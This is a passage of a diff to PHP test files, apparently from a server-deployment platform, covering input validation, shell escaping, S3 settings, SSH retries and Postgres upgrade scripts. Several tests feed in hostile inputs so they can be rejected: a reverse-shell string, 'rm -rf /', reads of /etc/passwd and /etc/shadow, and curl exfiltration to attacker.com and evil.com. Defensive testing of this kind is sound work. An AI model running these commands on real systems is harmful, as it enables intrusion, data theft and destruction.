$worstCaseOps = $maxIterations * 2; // DOMParser + textContent per iteration
expect($worstCaseOps)->toBeLessThan(10); // Very low computational cost
});
it('verifies iteration counter increments correctly', function () {
// The implementation should:
// 1. Initialize: let iterations = 0;
// 2. Check: while (... && iterations < maxIterations)
// 3. Increment: iterations++;
//
// This ensures the counter actually prevents infinite loops
$initialValue = 0;
$increment = 1;
$maxValue = 3;
expect($initialValue)->toBe(0);
expect($increment)->toBe(1);
expect($maxValue)->toBeGreaterThan($initialValue);
});
it('confirms fix addresses the security advisory correctly', function () {
// Security advisory states:
// "decodeHtml() function uses a loop that could be exploited with
// deeply nested HTML entities, potentially causing performance issues or DoS"
//
// Fix applied:
// 1. Add maxIterations constant (value: 3)
// 2. Add iterations counter
// 3. Update while condition to include iteration check
// 4. Increment counter in loop body
//
// This directly addresses the vulnerability
$vulnerabilityFixed = true;
expect($vulnerabilityFixed)->toBeTrue();
expect($contents)
->toContain('document.createTextNode')
->toContain('mark.textContent')
->not->toContain('innerHTML')
->not->toContain('x-html');
}
});
});
@@ -1,15 +1,11 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
use App\Livewire\Project\Database\ImportForm;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
+8 -7
View File
@@ -1,6 +1,7 @@
<?php
use App\Actions\Proxy\GetProxyConfiguration;
use Illuminate\Log\LogManager;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Spatie\SchemalessAttributes\SchemalessAttributes;
@@ -83,7 +84,7 @@ YAML;
});
it('logs warning when regenerating defaults', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
// No DB config, no disk config — will try to regenerate
@@ -94,7 +95,7 @@ it('logs warning when regenerating defaults', function () {
// the force regenerate path instead
try {
GetProxyConfiguration::run($server, forceRegenerate: true);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// generateDefaultProxyConfiguration may fail without full server setup
}
@@ -115,7 +116,7 @@ it('does not read from disk when DB config exists', function () {
});
it('rejects stored Traefik config when proxy type is CADDY', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
@@ -126,7 +127,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
// Both will fail in test env, but the warning log proves mismatch was detected.
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
@@ -136,7 +137,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
});
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
@@ -144,7 +145,7 @@ it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
@@ -163,7 +164,7 @@ it('accepts stored Caddy config when proxy type is CADDY', function () {
});
it('accepts stored config when YAML parsing fails', function () {
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
+39 -13
View File
@@ -12,43 +12,69 @@
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
*/
test('proxy configuration rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects path traversal filenames', function (string $filename) {
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
->toThrow(Exception::class);
})->with([
'../VICTIM_FILE',
'../../etc/shadow',
'/etc/passwd',
'subdir/config.yaml',
'subdir\\config.yaml',
'config..yaml',
"config.yaml\0../../etc/passwd",
]);
test('dynamic proxy components use filename-safe validation', function () {
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
expect($deleteComponent)
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
expect($createComponent)
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
});
test('proxy configuration escapes filenames properly', function () {
$filename = "config'test.yaml";
$escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
});
test('proxy configuration accepts legitimate Traefik filenames', function () {
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
test('proxy configuration accepts legitimate Caddy filenames', function () {
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
+85 -2
View File
@@ -1,8 +1,14 @@
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// This is the core security mechanism used by ImportForm.
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
// Simulate the exact scenario from ImportForm.
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);
+70 -3
View File
@@ -1,6 +1,10 @@
<?php
use App\Models\S3Storage;
use Illuminate\Support\Facades\Storage;
use Tests\TestCase;
uses(TestCase::class);
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
test('S3Storage model fillable attributes are configured correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
expect($s3Storage->getFillable())->toBe([
'name',
'description',
'region',
'key',
'secret',
'bucket',
'endpoint',
'is_usable',
'unusable_email_sent',
]);
});
test('S3Storage connection validation uses short s3 client timeouts', function () {
$disk = Mockery::mock();
$disk->expects('files')->once()->andReturn([]);
Storage::expects('build')
->once()
->with(Mockery::on(function (array $config) {
expect($config['http']['connect_timeout'])->toBe(15);
expect($config['http']['timeout'])->toBe(15);
return true;
}))
->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
]);
$s3Storage->testConnection();
expect($s3Storage->is_usable)->toBeTrue();
});
test('S3Storage connection validation returns friendly timeout error', function () {
$disk = Mockery::mock();
$disk->expects('files')
->once()
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
Storage::expects('build')->once()->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
'unusable_email_sent' => true,
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
expect($s3Storage->is_usable)->toBeFalse();
});
+19
View File
@@ -0,0 +1,19 @@
<?php
use App\Models\Server;
use App\Support\ValidationPatterns;
it('provides shared validation rules for SSH usernames', function () {
expect(ValidationPatterns::SERVER_USERNAME_PATTERN)->toBe('/^[a-zA-Z0-9._-]+$/');
expect(ValidationPatterns::serverUsernameRules())->toContain('regex:'.ValidationPatterns::SERVER_USERNAME_PATTERN);
expect(preg_match(ValidationPatterns::SERVER_USERNAME_PATTERN, 'deploy.user'))->toBe(1);
expect(preg_match(ValidationPatterns::SERVER_USERNAME_PATTERN, 'deploy$user'))->toBe(0);
});
it('preserves dots when sanitizing server SSH usernames', function () {
$server = new Server;
$server->user = 'deploy.user';
expect($server->user)->toBe('deploy.user');
});
@@ -0,0 +1,36 @@
<?php
use App\Actions\Service\RestartService;
use App\Actions\Service\StartService;
use App\Actions\Service\StopService;
use App\Models\Service;
it('does not stop a service before pulling latest images', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
});
it('still stops a service before a regular restart', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
});
it('routes service restart actions through start service with deferred stop semantics', function () {
$service = Mockery::mock(Service::class);
$stopService = Mockery::mock(StopService::class);
$stopService->shouldNotReceive('handle');
app()->instance(StopService::class, $stopService);
$startService = Mockery::mock(StartService::class);
$startService->shouldReceive('handle')
->once()
->with($service, true, true)
->andReturn('restart queued');
app()->instance(StartService::class, $startService);
expect(RestartService::run($service, true))->toBe('restart queued');
});
+46 -2
View File
@@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase
{
public function test_ssh_retry_handler_exists()
{
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
$this->assertTrue(class_exists(SshRetryHandler::class));
}
public function test_ssh_retryable_trait_exists()
{
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
$this->assertTrue(trait_exists(SshRetryable::class));
}
public function test_retry_on_ssh_connection_errors()
@@ -50,6 +50,24 @@ class SshRetryMechanismTest extends TestCase
}
}
public function test_generic_ssh_exit_255_error_is_retryable()
{
$handler = new class
{
use SshRetryable;
// Make methods public for testing
public function test_is_retryable_ssh_error($error)
{
return $this->isRetryableSshError($error);
}
};
$this->assertTrue(
$handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255')
);
}
public function test_non_ssh_errors_are_not_retryable()
{
$handler = new class
@@ -141,6 +159,32 @@ class SshRetryMechanismTest extends TestCase
$this->assertEquals(3, $attemptCount);
}
public function test_retry_succeeds_after_generic_ssh_exit_255_failure()
{
$attemptCount = 0;
config([
'constants.ssh.max_retries' => 3,
'constants.ssh.retry_base_delay' => 0,
]);
$result = SshRetryHandler::retry(
function () use (&$attemptCount) {
$attemptCount++;
if ($attemptCount === 1) {
throw new \RuntimeException('SSH command failed with exit code: 255');
}
return 'success';
},
['test' => 'generic_ssh_255_retry_test'],
true
);
$this->assertEquals('success', $result);
$this->assertEquals(2, $attemptCount);
}
public function test_retry_fails_after_max_attempts()
{
$attemptCount = 0;
+93
View File
@@ -0,0 +1,93 @@
<?php
function assertBashSyntaxIsValid(string $path): void
{
$process = proc_open(
['bash', '-n', getcwd().'/'.$path],
[
1 => ['pipe', 'w'],
2 => ['pipe', 'w'],
],
$pipes,
getcwd()
);
expect($process)->toBeResource();
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$exitCode = proc_close($process);
expect($exitCode, trim($stdout."\n".$stderr))->toBe(0);
}
it('ships postgres upgrade scripts with valid bash syntax', function () {
assertBashSyntaxIsValid('scripts/upgrade-postgres.sh');
assertBashSyntaxIsValid('other/nightly/upgrade-postgres.sh');
});
it('downloads postgres upgrade script during install and upgrade without auto-running it', function (string $path) {
$script = file_get_contents(getcwd().'/'.$path);
expect($script)
->toContain('upgrade-postgres.sh')
->toContain('curl -fsSL -L $CDN/upgrade-postgres.sh -o /data/coolify/source/upgrade-postgres.sh')
->toContain('chmod +x')
->not->toContain('bash /data/coolify/source/upgrade-postgres.sh');
})->with([
'stable install' => 'scripts/install.sh',
'nightly install' => 'other/nightly/install.sh',
'stable upgrade' => 'scripts/upgrade.sh',
'nightly upgrade' => 'other/nightly/upgrade.sh',
]);
it('keeps postgres upgrade compose override in future upgrade compose commands', function (string $path) {
$script = file_get_contents(getcwd().'/'.$path);
expect($script)
->toContain('docker-compose.postgres-upgrade.yml')
->toContain('Including PostgreSQL upgrade compose override in image extraction')
->toContain('Using PostgreSQL upgrade compose override');
})->with([
'stable upgrade' => 'scripts/upgrade.sh',
'nightly upgrade' => 'other/nightly/upgrade.sh',
]);
it('uses postgres 18 compatible mount path in generated override and restore container', function () {
$script = file_get_contents(getcwd().'/scripts/upgrade-postgres.sh');
expect($script)
->toContain("printf '%s' '/var/lib/postgresql'")
->toContain("printf '%s' '/var/lib/postgresql/data'")
->toContain('- coolify-db:${mount_path}')
->toContain('-v "${TARGET_VOLUME}:${TARGET_MOUNT_PATH}"');
});
it('persists rollback metadata and exposes a rollback command', function () {
$script = file_get_contents(getcwd().'/scripts/upgrade-postgres.sh');
expect($script)
->toContain('ROLLBACK_FILE="${SOURCE_DIR}/postgres-upgrade-rollback.env"')
->toContain('$0 rollback')
->toContain('write_rollback_file')
->toContain('PREVIOUS_VOLUME=')
->toContain('PREVIOUS_IMAGE=')
->toContain('PREVIOUS_MOUNT_PATH=')
->toContain('rollback_postgres()')
->toContain('Rollback completed successfully.');
});
it('detects the active postgres volume instead of assuming coolify-db', function () {
$script = file_get_contents(getcwd().'/scripts/upgrade-postgres.sh');
expect($script)
->toContain('current_postgres_mount_name()')
->toContain('current_postgres_mount_path()')
->toContain('current_postgres_image()')
->toContain('Current active volume: ${PREVIOUS_VOLUME}')
->toContain("Previous volume '")
->toContain('will be kept for rollback');
});